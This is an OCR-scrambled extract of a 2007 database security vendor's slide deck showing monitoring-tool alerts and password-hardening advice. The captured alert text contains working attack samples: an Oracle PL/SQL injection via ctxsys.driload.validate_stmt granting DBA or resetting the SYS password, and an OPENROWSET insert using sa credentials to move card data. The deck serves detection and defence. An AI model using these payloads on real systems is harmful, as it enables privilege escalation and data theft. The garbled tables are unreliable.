	3042	Backend MS SQL		xp_createprivatequeue buffer			'select * from Cu VALUES (@FirstNa	stomersInfo') ame,@LastName,				
	3041	🗐 Backend MS SQL		ALTER PROCEDURE			@ccNumber ,@ccB END	ExpDate,@ccType,	@ccSecNumber)			
	3040	System		Sensor configured		Records	n/a					



<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

#### **DbProtect AppRadar: Use of OPENROWSET**

APPLICATION SECURITY, INC. Username: xn-bbg/administrator [Logout] (Admin User)														
Home	Ale	erts	Dashboard	Reports	γ	Policies	Filters	Sensors	System S					
					AppSecInc Co	onsole - Applicatio	n Security Inc M	icrosoft Internet Explorer	<u>- 0 ×</u>					
Alerts	Archive				APPLICA	TION			-					
Refresh			Start 10 sec(s)		SECURIT	Y, INC.								
Instance	Rul	Rule Title Login/Us		Net	Archive	Acknowledge	2							
any	💌 🖬	🔹 any 💽 any		💌 ar										
Search in SQL	. Text				Alert ID: 2620									
						Database Type: Microsoft SQL Server 2000 (Host-based Sensor)								
Displaying 14	of 2638 alerts				Instance Alias:	Backend MS SQ	L							
Alast Taskana														
	TD Alias		Rule Title		Rule Title: Use of OPENROWSET									
2637	Backend	Use of OPENROWSET			Time:	4/16/07 10:09:	53 PM EDT							
2634	Backend		Use of OPENROWSET	Login/User Name:	Hamburglar									
2627	Backend		Use of OPENROWSET	Network User:	n/a									
2623	Backend MS SQL		Use of OPENROWSET	Source of	XP-BBQ									
<b>2620</b>	Backend MS SOL		Use of OPENROWSET		Lyona	INSERT INTO OF	PENROWSET('SQ	LOLEDB','uid=sa;pwd=q	werty;Network=D					
26.19	Backend MS SQL		SAM database in registry acce		SQL Text:	Customers Info') DccSecNu								
<b>2618</b>	Backend MS SQL		SQL injection in sp_MSdropret		Records	mber,@ccExpDa	ate)'							
<b>2617</b>	Backend MS SQL		Generic use of xp_cmdshell		Affected:	n/a								
2616	Backend MS SQL		Read sensitive OS files		Client Application	SQL Query Anal	lyzer							
2615	Backend MS SQL		xp_proxiedmetadata buffer ove.		Risk Level	Medium								
2614	Backend MS SQL		xp_oledbinfo buffer overflow		CVE	CVE								
2573	Backend MS SQL		xp_dsninfo buffer overflow		Reference #	n/a								
2612	Backend MS SQL	×p_createprivatequeue buffer			Description	AppRadar has detected the use of the OPENROWSET function. This function can be used to link databases together.								
2611	System		Sensor configured		471670	17 10108132 PWI ED								
high			medium			low			acknowledged					



35

#### **DbProtect: Preventing the Password Attack**

## AppDetective

- Change Default Passwords
  - Remove SCOTT/TIGER
- Implement Password Controls
  - Account Lockout
  - Minimum Password Length
  - Password Expiration
  - Password Complexity

# AppRadar

- Monitor Database Login activity
  - Log all failed and successful logins
  - Alerts on repeated failed logins



#### **DbProtect AppDetective: Identifying the Default Password**





<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

#### **DbProtect AppDetective: Identifying Weak Passwords**





<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

#### **DbProtect AppRadar: Alerting on the Password Attack**

APPLICATION SECURITY, INC. Username: xn-bbg\administrator [Legeut] (@dmin User)											
Home	Alerts Dashboard Rep			Policies	Filters	Sensors	Sys				
Alerts	Archive	)									
Refresh	efresh Start 10 sec(s) Last Updated: 4/27/07 12:44:45 PM EDT, updating every 0 sec(s).										
Instance	Ru	ule Title Logi	n/User Name	Network User Source of Event Application							
any	▼ any ▼ any		r	• any •	any	▼ any	-				
Search in SQL	. Text										
Displaying 10	of 3120 alerts										
▼ Alert ID	Instance Alias	Rule Title		Time		Login/User Name	Network User				
3121	Backend MS SQL	Password gues:	sing	4/27/07 12:44:29 F	MEDT	scott					
3120	Backend MS SQL	Password gues:	sing	4/27/07 12:43:44 F	M EDT	m					
3119	Backend MS SQL	SAM database in regis	stry acce	4/27/07 12:43:03 F	M EDT XP	-BBQ\Administrator	Administrator				
3118	Backend MS SQL	SQL injection in sp_M	Sdropret	4/27/07 12:43:03 PM EDT		-BBQ\Administrator	Administrator				
3117	Backend MS SQL	Generic use of xp_cmdshell		4/27/07 12:43:03 PM EDT		-BBQ\Administrator	Administrator				
3116	Backend MS SQL	Read sensitive O	S files	4/27/07 12:43:03 F	M EDT XP	-BBQ\Administrator	Administrator				
<b>a</b> 115	Backend MS SQL	xp_proxiedmetadata b	uffer ove	4/27/07 12:43:03 F	M EDT XP	-BBQ\Administrator	Administrator				
3114	Backend MS SQL	xp_oledbinfo buffer overflow		4/27/07 12:43:02 F	M EDT XP	-BBQ\Administrator	Administrator				
2112	Backend	vp. depinfo buffer (	puerflow	4/27/07 12:43:02 6	M EDT YD	-BBO\Administrator	Administrator				

#### APPLICATION SECURITY, INC.

#### **DbProtect AppRadar: Alerting on Privilege Escalation**

APPLICATION SECURITY, INC. Username: bob2kas\administrador [Logout] (Admin User)										~			
Home	Sensors	Alerts Policies		1	Dashboard		Filt	Filters		Reports		E-mail	
Alerts Archive													
Refresh     Start     10     sec(s)     Last Updated: 2/20/07 01:04:44 PM GMT-03:00, updating every 0 sec(s).													
Instance	Rule Title	e Login	Login/User Name Network U		er Source of Event Appli		Application	plication Risk		Count		Hide A	
any	💌 🖬	💌 🗐 any	any	-	any	•	any	<b>•</b> a	ny 🔽	6			
Search in SQ	L Text												
												_	Apply
Displaying 6 of 294 alerts													
_ Alert										Network			
ID	Instance Alias	Rule Iitle			lime			Login/User Name		User	Source of Even		ent
294	🖗 GI101R_192.168.0.230	Access usernam	es from the ALL		2/20/07 01:04:32 PM GMT scott		Robert	ENTPRISE\bob					
293	🔗 GI101R_192.168.0.230	Possible abuse o	of DRILOAD.VAL		2/20/07 01:04:10	РМ GMT		scott		Robert		ENTPRISE\b	ob
<b>292</b>	🔗 GI101R_192.168.0.230	Access username	es from the DBA		2/20/07 01:01:49	РМ GМТ		scott		Robert		ENTPRISE\b	оЬ
<b>291</b>	🔗 GI101R_192.168.0.230	Access username	es from the DBA		2/20/07 01:01:39	РМ GМТ		scott		Robert		ENTPRISE\b	оЬ
<b>290</b>	🔗 GI101R_192.168.0.230	s from the DBA	from the DBA 2/20/07 01:01:39 PM GMT				scott		Robert	rt ENTPRISE\bob		ор	
289	🔁 AppRadar System	started	2/20/07 12:59:00 PM GMT								192.168.0.2	30	
high medium					low					acknowledg	,ed		
Archive Selected Alerts Archive All Alerts Acknowledge Selected Alerts Acknowledge All Alerts													
(g) 2006, Application Security, Inc. All Rights Reserved ver: 3.0.36													
					10								



## **AppRadar: Alerting on Privilege Escalation**

APPLICATION SECURITY, INC.	-								
Archive Acknowledge Create Exception									
Alert ID: 293									
Database Type:     Oracle (Network-based Sensor)									
Instance Alias:         GI101R_192.168.0.230									
Context: GI101R									
Rule Title: Possible abuse of DRILOAD.VALIDATE_STMT procedure									
2/20/07 01:04:10 PM GMT-03:0 0									
Name: scott									
Network User: Robert									
Source of Event: ENTPRISE\bob									
SQL Text: BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;									
sqlplus.exe									
Risk Level High									
CVE     Reference       #     CVE-NO-MATCH									
Description Possible abuse of DRILOAD.VALIDATE_STMT procedure was detected									
Summary The VALIDATE_STMT stored procedure of the DRILOAD package can be abused to execute arbitrary SQL. A low privileged attacker can abuse it to gain elevated privileges.									
Oracle contains a large number of built-in packages and stored procedures. The VALIDATE_STMT procedure of the DRILOAD package is vulnerable to PL/SQL injection. The vulnerability can be exploited by simply putting the SQL statement in the only parameter of the procedure. For example: exec ctxsys.driload.validate_stmt('alter user sys identified by mypass'); Overview The package is owned by the user CTXSYS. Since the procedures are not defined with the 'AUTHID CURRENT USER' option, the injected SQL is executed under the privileges of CTXSYS - a DBA. Note: This rule monitors for any execution of the CTXSYS.VALIDATE_STMT procedure. If the execution was authorized or if you have a patched version, create a filter to stop seeing further alerts.									
Versions Affected Oracle 9i and 8i									
Oracle's patching process is now based on cumulative Critical Patch Updates (CPU) released on a quarterly basis. Rather than applying old patches for vulnerabilities, it is recommended that you install only the latest CPU patches. The CPU patches are cumulative in nature and contain fixes for all previous vulnerabilities. The issue can be fixed by applying an appropriate patch from the patches released for Security Alert 68 or any later CPU. To determine the specific patch needed for your version please refer to the patch availability matrix at http://metalink.oracle.com/metalink/plsql/showdoc?db=NOT&id=281189.1 The issue affects only Oracle 9i and 8i. Oracle 10g is not affected. Patches are available for: Oracle 8i version 9.1.7.4 Oracle 9i Release version 9.2.0.4 and 9.0.1.5 Oracle 9i Release version 9.2.0.4 and 9.2.0.5									
Patches can be downloaded from Oracle Worldwide Support Services web site Metalink (http://metalink.oracle.com).	-								
Listo	• /								



<sup>© 2007</sup> This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder.

## **Questions?**

# Thank you

- Questions on
  - Vulnerabilities
  - Locking down the database

Email us at: <u>asktheexpert@appsecinc.com</u>

